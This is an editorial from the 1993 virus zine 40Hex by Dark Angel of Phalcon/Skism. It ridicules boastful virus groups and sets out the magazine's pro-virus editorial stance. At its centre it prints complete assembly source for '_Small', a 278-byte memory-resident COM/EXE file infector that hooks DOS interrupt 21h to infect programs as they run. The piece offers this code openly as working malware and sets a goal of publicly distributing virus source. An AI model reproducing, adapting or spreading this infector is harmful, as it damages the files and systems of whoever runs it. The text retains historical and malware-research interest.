40hex nº11:(40HEX-11.001):01/06/1993 << Back To 40hex nº 11
40Hex Issue 11 Volume 3 Number 2 File 001 Life, the Universe, and 40Hex It is apparent to even the blindest of observers that the virus phenomenon has caught on. Everyone and his kid brother has decided to start a virus group, whether or not they have programmers capable of creating a viable (read: parasitic) virus. While this in itself is merely offensive, it is the sheer arrogance of these meta-groups which is irritating. Of course, no names will be mentioned, as that would be mean and we all wish for a happy world. The most common trait of these pseudo-groups is for a member to state that all code that was written was "developed on my own." Of course, this is seldom the case. Often, the "original source code" to their viruses clearly originated at some point from a Sourcer disassembly. Heck, when you see "seg_a" or "loc_0027," you know they're just poor hacks. Of course, the the disparate coding styles in the "source" also reveals the nature of the virus. And when the virus is listed as a Dark Avenger hack in various anti- virus products, the individuals persist in their self-induced fantasies, saying their viruses are original. I suppose the anti-virus programmers, who have disassembled countless viruses, can't spot a Dark Avenger or Murphy hack when they see one. Stop fooling yourselves. And these mentally challenged persons continue, insisting routine X, a "new, innovative technique," was developed independently. Yet anyone with even a minimal exposure to virus source code can see traces of other viruses in these routines. Even the ideas presented are seldom new; most having already been implemented by existing viruses. The worst of these people magnify all of their supposed accomplishments, talking of the revolutionary changes they single-handedly effect. Every group goes through a phase in which they hack viruses; they should not be proud of these viruses. But it is merely the first step and most grow out of it. Skism-1, for example, was a Jerusalem hack. It is ancient history. I might also point out that the Phalcon/Skism viruses published in both the last issue and this one are far superior to Skism-1. Phalcon/Skism does not release the source code to half-baked viruses just so 40Hex can look larger. Every virus programmer has a few experimental viruses; yet it is not necessarily appropriate to print all of them. If I wrote a virus which had several hundred bytes of repetitious code, I would be ashamed to print it. It's like releasing a program which has only been half-completed. When a virus programmer additionally claims, "This virus was written two years ago, so it sucks, but I'm going to release it anyway because it's good to learn from," I have my doubts. When s/he further hurridly states, "My other viruses are better," then my doubts grow. Where, pray tell, are these superior viruses? Why publish that which you admit sucks? Of course, anyone that makes such a claim, or one such as, "Next time, I'll release a COM/EXE/SYS/MBR/OV?/DAT/DOC/TXT/ANS/ASC polymorphic, stealth infector that I wrote last week," is suspicious. As an example of the mindless boasting, observe the following: (Note: the following should not be construed as a personal attack against either the person or group in question.) This person wrote, "As with many of my routines, stuff which took many other virus writers a few pages of code took me one page... that's not bad! I have many other goodies up my sleeve, like a 387-byte generic COM/EXE parasitic infector on execution, the smallest of its kind in the WORLD... (with room for improvement!)." Please do not boast if you cannot substantiate your claims. For example, these claims are easily shredded by counterexample. Let us examine the Voronezh-370 virus. It is a generic parasitic COM/EXE infector and it is indeed less than 387 bytes. If 387 bytes is the smallest in the world, then this may very well be the smallest in the universe. With only two hours of fiddling, I came up with the following virus (278 bytes), which may yet be the smallest of its kind in all of creation! Actually, I make no such claim, as a smaller one _can_ be written. The point was to show that this claim was not all that impressive and was, in fact, dead wrong. Let us not be o'erhasty to boast next time. As with many of my viruses, stuff which took many other virus writers over 380 bytes took me under 280... that's not bad! Humour aside, I might point out that this virus is _over_ 100 bytes less than the boaster's attempt, so it is _significantly_ smaller. Gee, I wonder what those extra 109 bytes are used for. -------------Cut here---------------- .model tiny .code .radix 16 .code ; Phalcon/Skism _Small virus ; Written by Dark Angel of Phalcon/Skism ; 278 byte generic COM/EXE infector EXE_ID = -40 viruslength = heap - _small startload = 90 * 4 _small: call relative oldheader dw 020cdh dw 0bh dup (0) relative: pop bp push ds push es xor ax,ax mov ds,ax mov es,ax mov di,startload cmp word ptr ds:[di+25],di jz exit_small lea si,[bp-3] mov cx,viruslength db 2Eh rep movsb mov di,offset old21 + startload mov si,21*4 push si movsw movsw pop di mov ax,offset int21 + startload stosw xchg ax,cx stosw exit_small: pop es pop ds or sp,sp jnp returnCOM returnEXE: mov ax,ds add ax,10 add [bp+16],ax add ax,[bp+0e] mov ss,ax mov sp,cs:[bp+10] jmp dword ptr cs:[bp+14] returnCOM: mov di,100 push di mov si,bp movsw movsb ret infect: push ax push bx push cx push dx push si push di push ds push es mov ax,3d02 int 21 xchg ax,bx push cs pop ds push cs pop es mov si,offset oldheader+startload mov ah,3f mov cx,18 push cx mov dx,si int 21 cmp ax,cx jnz go_already_infected mov di,offset target + startload push di rep movsb pop di mov ax,4202 cwd int 21 cmp ds:[di],'ZM' jz infectEXE sub ax,3 mov byte ptr ds:[di],0e9 mov ds:[di+1],ax sub ax,viruslength cmp ds:[si-17],ax jnz finishinfect go_already_infected: pop cx jmp short already_infected int21: cmp ax,4b00 jz infect jmp short chain infectEXE: cmp word ptr [di+10],EXE_ID jz go_already_infected push ax push dx add ax,viruslength adc dx,0 mov cx,200 div cx or dx,dx jz nohiccup inc ax nohiccup: mov ds:[di+4],ax mov ds:[di+2],dx pop dx pop ax mov cx,10 div cx sub ax,ds:[di+8] mov ds:[di+14],dx mov ds:[di+16],ax mov ds:[di+0e],ax mov word ptr ds:[di+10],EXE_ID finishinfect: mov ah,40 mov cx,viruslength mov dx,startload int 21 mov ax,4200 xor cx,cx cwd int 21 mov ah,40 mov dx,di pop cx int 21 already_infected: mov ah,3e int 21 exitinfect: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax chain: db 0ea heap: old21 dw ?, ? target dw 0ch dup (?) endheap: end _small ------------------------------------- I think the informed virus and anti-virus person recognises these claims as the baseless boasts they are. Let me assure you that you will see none of that in 40Hex. Finally, each new group proclaims to be the world's predominant virus group. Each new group puts out a magazine. Each new group presents H/P/A articles in their magazines. Let us go through each one step by step. Hacking. Gee, can't you see the connection with viruses? Phreaking. Got some c0deZ, d00d? Anarchy. Gee, I want total chaos even though I probably couldn't survive such a situation. H/P/A aside, these "virus magazines" do indeed contain some virus-related articles. Generally, these are of the form "X virus is great, but we won't give source. X does this, it does that, it is not a hack of Dark Avenger even though it scans as such." Some articles give Sourcer disassemblies -- hardly commented, yet termed disassemblies nonetheless. Finally, there are the programming articles containing tips and tricks from the "masters." These often contain nonworking code. These often contain factual errors. These often are nothing but a waste of time. Does this sound elitist? I hope not. Judge virus groups and their magazines on their merits, not on their hype. Do not take a virus group's word as gospel; it seldom reflects the truth. Instead, do some investigation on your own and try to verify (or refute) their claims. You may be surprised at the results. There is also no reason to immediately condemn all anti-virus people as corrupt and "lame"; many are just ordinary people "on the other side." The virus scene is becoming less innovative as these new quasi-groups emerge. This apparent contradiction must end soon. We ask all groups to end the self-back-patting and blatant lying and do some real work. Finally, a short summary of 40Hex is in order, for both new and old readers alike. The paragraphs below show the current editorial stance and opinion of 40Hex, which has evolved during the several years of its existence. What holds true for 40Hex also applies to Phalcon/Skism. 40Hex is _not_ a magazine for self-congratulation. Although put out by Phalcon/Skism, 40Hex serves as medium through which the public may hear the voice of the informed virus community without magnification of either the achievements or failures of any particular virus group or programmer. Although the 40Hex staff offers opinions from the pro-virus standpoint, 40Hex is not an anti-anti-virus magazine. There is a clear distinction between pro- and anti-anti-virus. 40Hex encourages anti-virus researchers to contribute. 40Hex offers a fair, unbiased view except in editorials, which obviously reflect the opinions of the authors. 40Hex _is_ purely a virus magazine -- none of that H/P/A/k-rad stuff. Illegal and anarchistic activities are not condoned by 40Hex and, as such, these topics are not appropriate for inclusion in the magazine. The public distribution of quality virus source code and virus writing techniques, both old and new, is one of the predominant goals of 40Hex, serving to inform both the pro- and anti-virus community. The secondary function of the magazine is to spread virus-related news. 40Hex is concerned more with content than size. You know the old saw "Quality, not quantity." Other magazines appear larger than they truly are because each article is padded to 80 columns, effectively doubling its file length. 40Hex articles are _not_ mere rehashes of what has already been printed. Other magazines have presented articles which closely mirror those already published in 40Hex. Such poorly rewritten articles are neither enlightening nor necessary. 40Hex is _not_ a tool with which people wreak havok upon others' systems. This is simply an unfair view of the magazine. In fact, 40Hex is against wanton destruction of computer systems. Viruses are so prevalent nowadays that anyone can obtain them with little difficulty. They also need not obtain 40Hex to be able to type "FORMAT C:" Knobs will be knobs. 40Hex _is_ a public forum, allowing those who take the time to write to have their opinions published. We encourage all to send letters to 40Hex, as they provide valuable insight into the virus and anti-virus communities from a fresh perspective. 40Hex is _not_ inherently evil. What you choose to do with the knowledge provided is your business. Once again, 40Hex does not condone the illegal spread of viruses. Such actions are frowned upon. Our stance has evolved over the years, so don't bring up something from 40Hex-2 and cry hippocrite -- unless, of course, you have a closed mind and absolutely nothing else to say. -- Dark Angel Phalcon/Skism